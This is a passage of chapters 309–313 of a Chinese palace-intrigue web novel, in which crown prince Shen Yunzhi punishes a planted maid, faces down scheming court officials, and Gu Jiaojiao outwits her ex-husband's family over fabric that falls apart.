她坐在一楼,品着茶,赏着花,脸上满是惬意之色,如今红梅已然绽放,她喜欢,便在第一楼里也摆了许多。 莺儿从外面跑进来,缩了缩脖子,屋里的温暖也使她的脸颊瞬间红润了不少。 “姑娘,外面太冷了。” 莺儿搓着手,长长的睫毛上都落了一层霜。 “快来,抱着。” 顾皎皎将自己的手炉寒给莺儿,让她在暖炉旁坐下。 这几日正是化雪的时候,天气格外冷,若不是为了打探消息,莺儿也不会跑出去。 莺儿喝了口热茶,转头看看周围,确定没人的时候才压低声音开口。 “孙协兆去了平王府,并非是平王召见,主动前往,王吉的意思是,他应该是有什么消息传递。” 传递消息? 以孙协兆的本事,怕是能探查到的消息,也是沈云祉想要他查到的。 “双剑为人冷傲,这段时间与孙协兆来往密切,怕是时机到了。” 顾皎皎低声说着,心头却也是一紧。 沈云祉的心思,确实是常人不可比,他在京城少有帮手,云南王军也都留在城外,就在这种孤立无援的情况下,他却可以拓出自己的一番天地,实属不易。 “姑娘这是何意?什么时机?” 莺儿一脸茫然。 顾皎皎笑了笑,轻轻的摇了摇头。 “我也不知道,总之是他想要的时机。” 他,指的便是沈云祉。 平王府。 孙协兆坐在平王身侧,眉眼间都是得意。 “小婿已经探查到,太子近来失眠睡不安稳,又不想宫中人知晓,便命人在京城里的一家药房诊治开方子,每隔五日便会送入皇宫。” 孙协兆能得知这些信息,多亏了双剑,与双剑相处的这些时日,他自认为已然得到了双剑的信任。 “是太子的那个侍卫跟你说的?” 平王半信半疑,毕竟在此之前,他可从未听说过沈云祉得了失眠之症。 “王爷也知道,双剑对太子那可是忠心耿耿,他自是不会说的,而是小婿这段时间跟踪探查的结果。” 孙协兆常常跟踪双剑,毕竟在宫外的事宜,大多都是由双剑负责,有时也会聊到太子殿下,双剑说的最多的便也是近来太子身体不适。 孙协兆看过双剑送入宫中的药,他还特意偷了一些那个药找人看过,与他的猜测一般无二。 听到这里,平王的疑虑倒是消散了不少。 “也没错,沈云祉心思深沉,又初入东宫,行事自然小心谨慎。” 平王低声说着,更像是自言自语。 “是啊,王爷,毕竟是宫外的东西,如果有什么问题,也断断找不到源头。” 孙协兆是喜悦的,他自然知道,若是帮平王办成此事,他也算是平步青云了,还有另一层,是他已然将沈云祉得罪,将沈云祉拉下马,对他只有好处,没有坏处。 “你做的很好,也不枉费本王信任你。” 平王转头看向孙协兆,眼底流露出满意之色,也不等孙协兆说什么,便又说了下去。 “此事事关重大,待本王安排一下,你如今得到了双剑的信任,便好好隐藏身份,日后本王定会为你谋个好前程。” 平王说着时,冲门口处摆了摆手。 李嬷嬷端着一个托盘走了过来,放到孙协兆旁边。 “这是王爷提前为公子准备好的,无论事成不成,都是王爷的一番心意。” 李嬷嬷微低着头,谦和有礼,态度诚恳。 孙协兆愣了一下,看着那托盘里的东西,不只有银票,还有几份地契。 “王爷,这太贵重了,小婿为王爷做事,本是理所应当的,若是收了这些,岂非让人笑话。” 他说的大义凛然,似乎是忘了从前是倚靠顾皎皎的嫁妆而活,如今是依靠徐青青,他倒是不怕别人笑话。 这些,平王都知道,只是不屑于拆穿他。 “我们本是自家人,谁敢笑话?何况,给你这些也是因为你与青青成婚,男人嘛,总要有些自己的东西,这些你自己留下便好,不必交与青青。” 平王微昂着头,一脸横肉的脸上难得的让人觉得平和。 孙协兆装出为难的样子。 “王爷这般说,我若再推辞便是不知好歹了,小婿谢过王爷。” “我们之间不必言谢,如今沈云祉掌管朝政,本王无法安插人手,等事态平稳些,本王便举荐你入朝为官。” “是,谢王爷,小婿定当尽心竭力,助王爷成就大事。” 二人又说了一番客套话,孙协兆才离开。 李嬷嬷换一杯新茶递到平王手上。 平王脸上的和善散去,被一抹狠戾所取代。 “去查一下,看孙协兆所说的是不是真的。” 平王下达命令,李嬷嬷立即应下。 他不信任何人,任何事都需要他自己确定,不过,孙协兆能打听到这些,已然是不易,他便觉得此人还可以留一留。 与此同时,皇宫里也并不顺利。 沈云祉初接触朝政,案上的奏折堆成山,一件小事朝臣们便可争论不休,又是上折分辨,又是上折告状,这一来一往的,他连喘口气的机会都没有。 这期间,首辅大人还帮忙出谋划策,给出一些应对方法,才使沈云祉越发了解这些大臣。 武将多以战事发言,而文官却不同,一针一线都要拿到朝堂上来说,慢慢的,沈云祉便知,这其中有许多都是在故意为难他。 首辅提议,可以挑出一两个杀鸡儆猴,可沈云祉却拒绝了,现在还不是时候。 沈云祉擅于隐忍,这份卧薪尝胆的本性,也没有几个人能做到。 东宫。 沈云祉倚靠在榻上,一只手拄着头,眯着眼睛,闭目养神。 正在此时,身边有了一些异动,有茶盏轻放在桌上。 想着定是宫里的侍女来送茶,他便未动。 “殿下,茶温正好。” 一道娇媚的声音响起,许是此女子靠近了几分,一阵浓郁的香气袭来。 沈云祉眉头紧锁。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百零九章 莫要走她的路 沈云祉面前的是一位打扮娇俏的宫女。 一身绿衣在这冬日里显得清新,只是一介宫女,头上却簪着鲜艳的盛开着的鲜花,脸颊两侧溜着头发,显得妩媚娇羞。 宫女微低着头,身上披着一件薄纱,雪白手臂若隐若现,尤其是胸前的那团雪白,呼之欲出,她身上浓重的香气,使这间屋子都充满媚惑之色。 沈云祉唇角噙着笑,看着眼前娇媚的女子,并没有移开目光,反而是一副饶有兴趣的模样。 “你叫什么名字?” 他玩味的开口,不像太子,更像一个风流公子。 “回殿下,奴婢小翠。” 小翠并未抬头,鲜嫩的红唇处是羞涩的笑,白净的脸蛋似是剥了壳的鸡蛋一样,让人心动。 “人如其名,怪不得穿一身碧色,年方几何?” “奴婢十五了。” “十五岁,如花似玉的年纪,正是好时候,何时入宫的?” 沈云祉的语气里没有丝毫不耐烦,甚至让眼前的人觉得,他对佳人有意。 “回殿下,奴婢是前些时日才入宫的,奴婢有幸,刚入宫便被分到了东宫侍奉太子殿下。” 小翠的声音很好听,只是没有她这个年纪该有的稚嫩,更显妩媚,柔情。 “从前在哪里侍奉?为何入宫?” “奴婢是城效一个小县城的,不久前父母双亡,村霸欲霸占奴婢家的房子田地,还有……奴婢逃到京城,实在活不下去了,才入了宫。” 她说到动情之处,眼中还泛起了泪光,头越埋越低,更加惹人怜爱。 “是啊,活不下去了所以入宫讨生活,只是,送你入宫的人不曾跟你说过,一旦踏入宫门,便随时可身首异处。” 话音落下,那女子的眸子动了动,眼底不自觉的袭上慌乱之色,可见,还是经验不足。 沈云祉坐起身,伸出手轻抬起眼前女子的下巴,他眼中的笑意愈发明显。 “乖,告诉我,谁派你来的?” 他的语气阴冷,扬起的嘴角让人不寒而栗。 小翠扑通一声跪到地上,身体已然止不住的发抖。 “殿下恕罪,奴婢不知殿下何意,还请殿下明示。” 她的声音已经很小了,似是有什么强撑着她咬紧牙关。 “不知何意?你一介小宫女,便可踏入本宫的书房,所谓奉茶,又是本宫最不爱的茶,一身着装虽是简单,却太过刻意,还有你身上的香料,乃是桂花所提炼,你入宫不久,哪里来的银钱买这些?” 沈云祉一向是不爱与人废话的,但今日却出奇的说了这么多,让跪着的人儿差点瘫倒在地。 “不愿说?” 见小翠不开口,沈云祉便再次反问着,而后,他脸上的耐心瞬间消散。 “双瑞。” 他觉声开口,双瑞立即进门。 小翠瞪大双眼,她刚刚进来的时候,门外可并没有人,现下太子的侍卫却出现了,那是不是说,她是被那侍卫故意放进来的? 双瑞进门后,没有多余的废话,伸手便拖起小翠向外走。 是拖的。 双瑞的力气极大,任由小翠不停挣扎,也未撼动他半分。 “太子殿下饶命,奴婢知错了,奴婢再也不敢了,殿下饶命,殿下……” 声音渐行渐远,沈云祉也从榻上起身,扯了扯衣衫,向门外走去。 书房外的院子里,已然站满了下人。 众人听着小翠的哭喊声,求饶声,不明所以,但看到沈云祉踏出门,众人皆知大事不妙。 双瑞安排人抬了长凳,将小翠死死的按在长凳上,两侧站着两个侍卫,将手中的棍子高高举起。 棍子一下接一下的落下,小翠的哀号声冲破云霄,只一会儿的功夫,这丫头的屁股处便血肉模糊。 周围一群下人看的目瞪口呆,有的胆小的都不敢看,还偷偷的抽泣出声。 不一会儿的功夫,小翠便晕了过去。 沈云祉拿着一条手帕,轻轻擦拭着自己的手指,一个一个的,仔细认真。 “都看到了,拿她给大家做个样子,莫要走她的路。” 沈云祉的声音不大,却铿锵有力,保证每个人都听得到。 “奴才,奴婢们定对殿下忠心耿耿。” 众人异口同声的说道。 沈云祉却大笑出声。 “忠心嘛,不是用嘴说的,有的是用实际行动证明,有的则是用命来证明。” 他停顿了一下,瞟了一眼不远处昏迷着的小翠。 “多好的年纪,后半生便没有腿了,找人给她医治一下,送出宫吧。” 他说的云淡风轻,转身回了书房。 双瑞站在人前,眼神凌厉的扫过众人,一声令下,便有人将小翠拖走,而下人们也都散开。 很快,沈云祉打断了一个宫女的一双腿的事,便在宫中传开。 那些蠢蠢欲动之人,顿时安分了不少,也有一些人对沈云祉颇为忌惮,害怕至极。 众人猜测着原因,越传越多,也就传到御史的耳朵里。 老祖宗的规矩,文官打不得,所以哪怕在朝堂之上,他们也可肆无忌惮,口无遮拦。 “太子是储君,未来的君主,当以仁爱治天下。” “宫女虽身份低微,但到底是良家女子,被打成这般,让百姓如何看待宫廷?” “太子殿下为国之表率,凭一时之气行事实为不妥,还望太子殿下更正己身,莫要留下骂名。” …… 朝堂之上,你一言我一语,纷纷展开对沈云祉的指责。 沈云祉坐在最上方,听着,唇角挂着淡淡的笑,给人一种毫不在意的感觉。 也正是他这般态度,让朝臣们更加激愤,纷纷指责。 自然了,这其中也有一些官员是正直的。 “臣以为没有规矩不成方圆,太子殿下处罚下人定有缘由,若只是看谁惨谁就该被同情,那要王法何用?” “臣附议,有因必有果,那宫女若只是轻微错误,也定不会惹怒殿下,想来这其中必有缘由。” 几位大臣与刚刚那些人的意见相反,但也只说了几句,便被攻击说是在纵容太子,甚至还说他们有失文官职责,只会讨好太子。 一时间,朝堂乱作一团。 沈云祉静静的看着,觉得时机已到。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百一十章 打草惊蛇 沈云祉的淡定,都令一旁的首辅大人微微皱眉。 于他们而言,一个宫女的死活并不重要,但又是仁德,又是大爱,却是可以压倒一个人的努力。 口诛笔伐,向来不容小视。 首辅在朝为官这样久,这样的道理自然是懂的,只是,他不知道沈云祉是否也懂。 咳咳。 沈云祉突然清咳两声,才使这朝堂之上肃静下来。 “诸位大臣所争论之事,不过就是本太子罚了那个宫女,想来在你们声讨之时,也想知道是何原因吧?” 沈云祉洪亮的声音响彻整个大殿,底下的朝臣的面面相觑,无人发言,毕竟他们也不知道太子是何意思。 沈云祉并不意外,抬了抬手,王福便从后面走了上来,手里还端着一些东西。 “奉太子之命,调查宫女小翠身份,而后在此宫女的住所处搜到了这些。” 王福尖锐的声音在大殿之上响起,随后那些东西也被公之于众。 百两黄金,还有一封手书,手书上只有简单的几个字,‘勾引太子’。 除此之外,在这里东西里,还有迷情香,媚药,以及一些根本与宫女身份并不匹配的衣裙。 只这些东西能在一个宫女的住所搜出来,便足以让人怀疑。 “本太子入信东宫不久,甚至是在皇宫待的时日也并不多,不了解宫中情况,也请诸位大臣为本太子解释一下,这些东西是每个宫女都有的吗?” 沈云祉低垂着眼眸,说话时甚至不看那些虚伪的脸,他的唇角挂着笑,那笑的阴狠。 大臣们沉默不言。 别说是宫女,这些东西若是从哪个臣子府中搜出,也可被治罪,他们又怎敢说什么? 沈云祉身体前倾,注视着在场的人,眼中的笑意的更浓。 “怎么都不说话?哦对,本宫忘记了,还有一杯茶,那杯茶是那宫女端给本太子的,太医验过,此茶里下了迷药,诸位,给太子下药,也是朝堂的规矩吗?” 他步步紧逼,甚至让那些叫嚣的狠的,都将头埋得更低。 沈云祉甩动衣袖,双手背在身后,从自己的位置上起身,一步步走下台阶,步入这些大臣之间。 “袁侍郎,你刚刚说太子该以仁备为先,若是此事明子,你觉得本宫该如何处置?” “太,太子殿下处置的对。” 这位刚刚也是慷慨激昂的,现在恨不得找个地缝钻进去。 “张大人,你刚刚说,行事跋扈无法为臣民表率,现在,依你之见,本宫要如何表率?” 沈云祉将头转向另一个人,周身寒气逼人,另人后背发凉。 “臣知错。” 那张大人直接跪在了地上,与此同时,也有不少人跪了下来。 “臣等知错,望殿下恕罪。” 大臣们齐声喊道。 他们都是见惯了官场上争斗的人,又怎会不知那宫女别有用心?但他们不管,他们抓住这一点点机会,便欲给沈云祉扣上一顶不仁不义的帽子。 沈云祉何曾是逆来顺受的性格? “诸位别急着请罪,这事情还未完。” 沈云祉歪着头,凌厉的目光扫过每一个人后,才缓缓开口。 “那宫女是前几日才入宫,入了宫中便分配到东宫,短短几日的功夫,她便如此大胆,又有他人手书指使,这件事若是就这样算了,倒是对不住各位口中的仁义道德。” 他昂着头,第一次在朝堂之上,以一己之力,与这些人对抗,他未落下风。 “给我查,宫内宫外串通一气,都给我查清楚,今日我便将话放在这里,查出来的任何人,轻则流放,重则杖杀,绝不轻饶。” 他甚至没有给那些人说话的机会。 朝臣散去,人心惶惶。 首辅与沈云祉并肩而行,走到宫中的后花园。 “太子今日所行,便是之前说的不是时候?” 首辅还是意外的,沈云祉年纪不大,城府却如此之深,连他这个首辅都完全没有想到。 “首辅大人助我良多,我自也该成长,朝堂之上,若是不做出些什么,岂非辜负大人一番教导。” 沈云祉并未直接回答首辅的问题,但这态度已然说明了一切。 “太子聪慧,有勇有谋,老臣协助一二,并不敢居功。” 首辅是这样说着,但依旧是心惊的。 沈云祉笑着,却看不出他真正的内心。 “今日御膳房里备了火腿煨鹌鹑,首辅大人一起用些吧,这道菜味道极好。” “太子殿下抬爱了,只是老臣出门时,家里留下话要早些回去,怕是没有这个口福了。” “如此啊,王福,让御膳房将这道菜送到宰辅府,不可失了口感。” 沈云祉直接下令,令首辅一时没有反应过来。 “多谢太子殿下。” 首辅无法再拒绝,只得应下。 沈云祉笑着离开,首辅的脸色却并不好看。 第一楼。 顾皎皎听莺儿汇报了一些有关朝廷之事,不只她们知道,如今外界也多有传言。 有的说太子雷霆之威,震慑宫内不良之风,也有人说三官上任三把火,太子是拿一个宫女立威,更有甚者,不明所以却敢说太子得势张狂。 但顾皎皎却知道,这些都不重要。 “朝堂之事,毕竟涉及朝政,怎会如此快的传出?” 顾皎皎低声说着,眉眼间也渐渐袭上疑惑。 “难不成是有人与太子殿下作对?故意放出风声,败坏殿下名声?” 莺儿在一旁猜测着。 顾皎皎摇了摇头。 “此事传出,对那些心存恶意的人并没有好处,你忘了,就连太子要彻查宫女幕后主使的消息都已经传出来了。” “是啊,如此一来,那些人收敛锋芒还来不及,更不会出头散播消息了。” 莺儿这个时候反应倒快。 顾皎皎微低着头,思索着。 “如果不是那些与他作对的人,那便是与他交好的人,或者是……” 或者,根本就是沈云祉自己故意将消息放出来。 没错。 顾皎皎瞬间想通了。 沈云祉将朝堂之上的消息放出,会让那些胆小的就此退缩,而那些胆大的,怕是会狗急跳墙。 打蛇打七寸,沈云祉玩了一手极好的打草惊蛇。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百一十一章 何出此言 顾皎皎知道沈云祉心存抱负,他想要的也远水止于此,只是这场争斗,非生即死,让人担忧。 就在顾皎皎思索着的时候,屋门被人敲响。 “姑娘,安阳候府来人要见您,是否见他们?” 第一楼的伙计在门外处低声问着。 顾皎皎与莺儿互视一眼,都掩饰不住笑意。 “请进二楼雅间,上壶好茶,我稍后便去。” 她冲门外说道。 那人下去,莺儿为顾皎皎整理了一下衣衫,发饰,主仆二人才一同从阁楼上下去。 徐青青带着侍女上门并不稀奇,倒是孙协兆也陪同着,让人意外,也让人觉得他们夫妻情深。 “孙公子,孙夫人来了,有失远迎,见谅。” 顾皎皎踏进房间,自然是可以看到二人脸上的不悦,却装出没有看到的模样。 “顾皎皎,没想到你是心思如此歹毒之人。” 徐青青咬牙切齿,瞪着顾皎皎一副要吃人的模样。 孙协兆站在她身边,轻扶着她肩膀,眼中似有心疼,但更多的是对顾皎皎的厌恶。 “孙夫人何出此言?” 顾皎皎一脸茫然,看看二人,似是什么都不知道。 “你还装,我问你,你卖给我我的料子到底是从哪里来的?” 徐青青倒是少有的压抑着情绪,就连质问的声音也不是很大。 “霓裳阁,孙三夫人不是亲自在霓裳阁看中的那些料子,可是料子出了什么问题?” 细算一下时间,是该出问题了。 “你……” 徐青青伸手便欲冲过来,幸被孙协兆拦住,也将她轻拥入怀中。 “顾皎皎,我知道你对我们有怨,却也不该如此恶毒,那些料子的价格是小事,出现的问题却实在过分。” 许是为平王做事久了,孙协兆倒是少有的多了几分淡定。 不过,顾皎皎敢打赌,这淡定维持不了多长时间。 顾皎皎拂了拂衣袖缓缓坐下,抬眼看向二人的目光意味深长。 “二位也不必急,不妨说来听听,料子到底是出现何问题,如若是我霓裳阁的问题,我定不会逃脱。” 她说的掷地有声,还指了指面前的椅子,示意二人可坐下聊。 随即,在孙协兆的支持下,徐青青也说了一些事。 昨日,徐青青受一位世家千金的邀请,去郊外踏雪赏梅,为显隆重,她特意穿上了那匹料子的所制的衣衫。 最初,徐青青确被称赞,羡慕,她也得意了许久,可谁知,到了地方不过半个时辰,便出现了意外。 徐青青的衣衫破了,被人发现提醒她,她本已经很是尴尬,准备离开,却不想那料子有个坏的地方后,便一发不可收拾,随着破口中越来越大,最后衣裙都变成了披风。 “孙夫人,你这衣衫好看是好看,只是这料子未免庆廉价了些。” “孙夫人未出阁前,可是平王府的郡主,这种衣裙莫不是王府里的新样式?” “许是我见识浅薄,就算是新样式,也是万万不敢尝试的。” 一些夫人和千金的嘲讽之语时刻响起,到现在为止,那些人的笑声都还在徐青青的脑海中盘旋。 “那些破料子,你竟然敢收我一千王百两,顾皎皎,你的心可真黑。” 徐青青如此愤怒,还不只于此。 她为显示恩重,将料子送给了孙老夫人和其他两位嫂嫂,但近日,她们身上的衣裙也都出现了此类事情,由此,徐青青便断定,是料子有问题的。 顾皎皎听着这些,自然是强忍着笑,维持着面色平静。 “孙夫人,你买这料子的时候我就说过,这批料子是要入宫的。” 她目光坚定。 “那又如何?既然是进宫的料子,不应该更好才是吗?” “既是进宫的料子,自然是与众不同,无论是缝制衣衫,还是刺绣,要求都极高,我霓裳阁的绣娘要半月才能做出一套衣裙,可夫人这么短的时间,衣衫便上身了,怕也不只穿了一次吧?这样一来自然是损伤料子的。” 顾皎皎一脸凝重,似是怕徐青青不懂,便又继续说了下去。 “比如裁剪,要画好尺寸,以蜡封口才可下剪刀,剪过后需浸泡布料,才可使边角不脱线,不抽丝,四五个时辰后,才能进行下一步。” 她说这只是第一步,后面若要绣花,还要更为繁琐。 顾皎皎所说的话,徐青青大多是听不懂的,她也不成想,只做件衣衫还有这么多讲究。 “你,之前并未说啊。” 徐青青脸色涨红,语气里都可听出急切。 “孙夫人忘记了,我当时跟你说过,霓裳阁可代裁制新衣,可是夫人并未同意。” 顾皎皎毫不犹豫的反驳。 徐青青一时无言,半晌都没有说出一个字,一旁的孙协兆心疼的替她出头。 “青青第一次买这种料子,自是不懂,你也未事先说明,这样的吧,你赔偿我们一千两,余下的那五百两就算扯平了。” 看吧,孙协兆的不要脸是骨子里带的。 顾皎皎不禁瞪大眼睛,不可思议的看着二人。 “原来,二位是来找我退银子的?衣服穿了,料子拿走了,现在要找我退钱?罢了罢了,你们安阳候府一向缺钱,这样,你把剩下的料子还回来,我给你退钱。” 徐青青和孙协兆互视一眼,脸上有异样的情绪显现。 “我们不是差那些银钱,只是这东西确实是……” “孙三公子三思,这些东西都是入宫的。” 顾皎皎打断了孙协兆的话,眼底闪过抹冷光。 孙协兆也意识到自己的言语有些问题,半晌半开口。 “二位,那些料子,不会一匹都没剩下吧?” 顾皎皎打量着他们,问出这个问题的时候,在对面二人的脸上看到了些许的难堪。 “那么多料子,我总是要送人,赏人的,难不成放在库里吗?顾皎皎,这事你是有责任的,你必须给我个交代。” 徐青青理直气壮的模样倒是从未变过。 这一次,顾皎皎也是一脸坚定,目光都冷了下来。 “退不了,二位若是不服,可去衙门。” 顾皎皎敢这样说,自是确定他们不敢报官。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百一十二章 定会让你生不如死 顾皎皎态度坚决,不肯让步,也将孙协兆激怒。 “顾皎皎,你别给脸不要脸,我们这次过来是好好跟你商量,你如此态度,根本就是完全不将我们放在眼里。” 他高傲的扬着头,知道的他是平王的女婿,不知道的还以为他是平王。 而她身边的徐青青,似是找到靠山一般,轻靠在他的身前,等待着他为她出气。 这样的场面,顾皎皎以前也是见过的。 那时,她被万人指责,而徐青青便是这般引起战火,却装作无辜。 只是现在的结果自是不同。 “我需要把你们放在眼里吗?” 顾皎皎神色淡然,与孙协兆的恼怒形成鲜明的对比。 她缓缓站起身,明亮的双眸里一片冰冷,淡然的神色,让人觉得她无比陌生。 这样的顾皎皎,孙协兆从未见过,一时之间,他竟不知该说些什么。 “孙夫人,当日你买这些布料的时候,我也曾阻拦,但当日孙夫人说只要这好料子,不在意银钱,如今衣衫上身,孙夫人便要将钱要回去,你们也去打听打听,这若是换作其他铺子,会不会把你们打出去?” 顾皎皎侧目,又看向孙协兆,扬起的嘴角处透着一抹嘲讽。 “和离这么久,孙公子还是这么囊中羞涩,连自己夫人的衣衫钱都出不起,只会拿身份压人,倒也是难得的本事,不过,孙公子是不是忘记了平王帮你付膳食银钱的事了?” 她只是说了几句话,便让面前的两个人都倒吸了一口凉气。 徐青青想到平王的叮嘱,更会想到平王妃对她的处置,至于孙协兆,当时可是被平王打个半死。 “夫君,算了,我们也不是出不起这笔银钱。” 徐青青低声开口,而后转头看向顾皎皎。 “顾皎皎,我们不是怕你,是不愿跟你这等黑心之人计较,但你也乞求不要栽在我手里,不然,我定会让你生不如死。” 徐青青咬着牙,恨意难掩,而后拉着孙协兆快步离开。 顾皎皎挑了挑眉毛,看着他们的身影,眼中的笑意越发明显。 “也怪不得徐青青会着急,听说孙老夫人当日在会客,只是闲谈间,那衣服便显现出线头,待送客了离开时,那套衣衫已然不能破的不成样子,被人笑话了许久,孙老夫人自然是将这屈辱算在了徐青青头上。” 莺儿笑的止不住,虽没有亲眼看到,但只是想象着那画面,便足以让她笑半年了。 “徐青青是个蠢的,但配孙家也算是门当户对。” 顾皎皎坐了下来,对于这些人丝毫不放在心上。 “还是姑娘聪慧,以这样的方法让他们吃了哑巴亏,今日徐青青没闹,自是怕外人知道,更是怕丝织局找她麻烦。” 莺儿是与顾皎皎一同策划此事的人,自然了解其中的关键。 顾皎皎笑了笑。 “徐青青啊,不只是怕丝织局,更怕别人笑话她,花了那么多钱,买了那么多料子,最后全毁了,别人会说她眼光不佳,愚不可及,也会说她的出身,没见过世面。” 顾皎皎是摸透了他们这些人的脾性,所以才敢放手去做。 自然,她也是想通了。 自与孙协兆和离后,她只想着再不与安阳候府有任何瓜葛,能避则避着,但事实证明,她躲不开,也避不了。 既然避不了,那也不必在意什么得罪不得罪。 “莺儿,我乏了,回府吧。” 人心难测,还是要顾好自己,才是重中之重。 首辅府。 赵蕴苎这些时日倒安分不少,也不是她想在这府中闷着,而是首辅下令,让她在家中学习宫中礼仪。 她与沈云祉的婚事,虽只是两家私下定下,但也不会出什么差池,赵蕴苎入宫是早晚的事。 现下,刚刚结束课程,她又被叫到首辅房中。 看着赵蕴苎拖着疲惫的身子,垂头丧气的进来,首辅便皱了皱眉。 “站有站相,坐有坐相,你现下学着规矩,怎可这个样子?” 面对首辅的指责,赵蕴苎也并不理会,而是直接坐了下来。 “祖父,那宫中的规矩也实在是多了些,每一样都要做精确无误,太难了,反正日后我是要统领后宫的,他们都听我的,我便不学了吧。” “你这说的什么话?就因为你统领后宫,才要为人之表率,现在不好好学,日后便是别人眼中的笑话。” 首辅严肃了不少。 赵蕴苎噘着嘴,虽然不愿,却也知道更改不了。 “那祖父叫我过来,所为何事?孙女还要回去休息呢。” “让你来,是跟你说说,若有机会,便与太子殿下多接触接触,若是能培养出感情,对于我们日后行事也更有利些。” “接触?祖父的意思是让我去讨好他?他虽为太子,可也难得我的喜欢,我答应嫁他,已然是不易了,我才不要去看他那张猜不透的脸。” 如果那个人不是沈云祉而是杜玉荣,赵蕴苎自然会心甘情愿,可这场婚事本就是一个交易,她不愿意浪费时间和精力。 “胡闹,这种话能说吗?再说,祖父还会害你不成?” “祖父,婚事已定,待成亲就是了,何必如此大费周章?” “你想的太简单了,当今太子绝非是可以掌控之人,这场婚事,未到最后一刻,都算不上确定。” 首辅的声音略显沉稳,眉头紧锁,想着今日朝堂之事。 其实,想的简单的不只是赵蕴苎,还有首辅自己,他一直以为沈云祉得到太子之位,是有一些运气在的,可今日朝堂之上,他便知,沈云祉的城府远不止他看到的这些。 “他要反悔?还是说,有别人取代我的位置?” 赵蕴苎瞪大眼睛询问着,也极力掩饰着自己眼底的那抹惊喜。 如果可以不嫁给太子,她便可以去找杜玉荣了。 “没有,婚事未变,我说的是以后,为以后考虑。” 首辅自是看得出自己孙女的心思,便又紧接着说了下去。 “苎儿,这桩婚事涉及到的并非是你个人,还包括整个赵家,沈云祉难以琢磨,你定要谨慎。”5 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百一十三章 君王无错 首辅对沈云祉另眼相看,也不得不做些准备,如今有着这订亲之事,赵蕴苎便是最合理的理由。 赵蕴苎并不知首辅何意,只是她也很少见到自己的祖父如此郑重的模样,也是第一次听他如此说一个人,最终也答应下来。 两日后,朝堂之上。 沈云祉将那宫女的幕后之人揪了出来,还向各位大臣呈出了证据,每个证据都清晰确定。 袁侍郎被关入大牢,宫里有两个太监与其里应外合,直接处死。 这所有的决定,沈云祉未和任何人商量,只在朝堂之上宣布,甚至不给这些人分辨的机会。 “本太子算着,这幕后之人还不止于此,日后再查出什么,再定夺吧。” 沈云祉说着时,抬手扶了扶手边的一堆奏折,扬起的嘴角透出一股嘲讽之意。 “这些折子的内容,是说本太子年轻无经验,建议由一些大臣来替我分忧,说是一些小事,便不必经过我,今日我会将这些折子无朱批的退还给你们,我也只当你们没有说过。” 沈云祉站起身,双手背在身后,居高临下的看着众人,凌厉的目光扫过众人。 “再有下次,我会以以下犯上,乃至谋逆论处,望诸位好自为之。” 说是分忧,实则分权,沈云祉刚掌管朝政,这些人便想着掌管一方,日后若是想收回来谈何容易? 他们也就是仗着沈云祉无有依靠,才敢如此。 “殿下何必如此疾言厉色?大臣们也只是一番好意,殿下若不同意驳回便是,定下这么大的罪名,日后言官如何自处?” 说话的是平王。 自沈云祉接手政务以来,平王还是第一次上朝,只是这第一次,他便找到了反驳沈云祉的理由。 有一些大臣甚至还觉得,平王是在帮他们说话,眼中都是感激的光芒。 “言官,上谏君王之失,下谏群臣之过,前提是,有失有过,若是无中生有,恨不得天下大乱,那能不能自处,本太子也并不在意。” 沈云祉看向平王的目光很是坚定,每一个字都掷地有声。 平王脸色瞬间变了变,还要强忍着不在朝堂之上发作。 “太子初接触朝政,还是要多了解大臣们的想法,他们纵有不足之处,太子也该以宽厚仁备为主。” “平王此言差矣。” 首辅大人在沈云祉之前,抢先一步开口。 “君就是君,臣就是臣,若是臣子所有的想法都要被采纳,那岂不是显得太子无能?君王之侧岂容他人酣睡?” “可若是为君者有错,莫不是要全天下受苦?” “君王无错,平王,这便是祖宗留下的规矩。” 首辅那略显苍老的声音,便是威严,是威信。 平王与他争论,无论是何事宜,都是必败的结果。 平王气的不轻,脸涨的通红,半天都没有说出一个字。 沈云祉低垂下眼眸,没有让任何人看到眼底的笑意。 “诸位大臣既无事,便退朝吧。” 沈云祉下令,众官员都退了下去。 下朝的路上,众大臣也不由得悄声议论起来。 “咱们这位太子殿下,可谓是胸有成竹,处事谨慎。” “何为谨慎?我倒是觉得殿下有些狠戾,怕是将沙场上的处事方法带到朝政上了。” “无论是何事,我们都谨慎一些为好,看看那袁侍郎,太子可是丝毫没有留情。” …… 他们的声音不大,只是三三两两的边走边说,但还是被平王听进了耳朵里。 他原以为沈云祉接触朝政后会步步艰难,却不想只几日的功夫,连这些大臣都开始怕他,这可不是什么好兆头。 平王心底有气,也想着,是时候行动了。 东宫。 沈云祉邀首辅入东宫小坐。 “太子这茶倒是极好,不像是宫里平时所用。” 首辅端着茶盏,由衷的称赞着。 “首辅大人好灵的舌头,确实并非宫中所有,而是之前在宫外所买,所剩不多了,稍后给大人带上。” 沈云祉看着那茶,脑海中便不自觉的浮现出一张好看又淡漠的脸。 “老臣不好夺人所爱。” “茶叶而已,首辅大人不必推辞。” 沈云祉笑着,也将思绪收回。 他与首辅谈论了一些政事,说来说去,大多也都是一些有人暗中挑拨之事,他们简单的说了一下对策,也算是有个结果。 “殿下,老臣还有一事相求。” 首辅并未起身,只是微低下头算是礼仪到了。 “大人何必如此说?你我之间何以用得上君臣二字。” 沈云祉迎向他的目光,等待着他继续说下去。 “其实是私事,殿下也知道,我那个孙女被我宠坏了,近来我让她学习宫中规矩,她从教养嬷嬷那里听说了宫中的许多趣事,美景,便一直缠着老夫,想要进宫看看,这……” 首辅一脸为难,言语间也少有的有些吞吐。 说是私事,却涉及皇宫,可若是说公事,毕竟婚事并未公布,实有不妥。 可是,首辅是老臣,纵然知道不合规矩,还是说了出来。 沈云祉唇角带着笑意,似是思索,却定定的看着首辅,让人琢磨不透。 首辅并不急切,只是在这沉默之间,低声开口。 “臣也知是为难了殿下,不如就算了,臣……” “何来为难之说?首辅大人的孙女,就算是皇上也是高兴迎进宫中逛一逛的,双瑞。” 沈云祉说着便喊了自己的贴身侍卫。 双瑞并未说话,立即走上前,将自己的出入宫的令牌递了过来。 “首辅大人劳苦功高,这点小事,实谈不上一个求字,这是令牌便给予大人,这皇宫嘛,随时过来。” 沈云祉说的轻松,也让首辅心里的那点犹豫放下,接下令牌后立即谢恩。 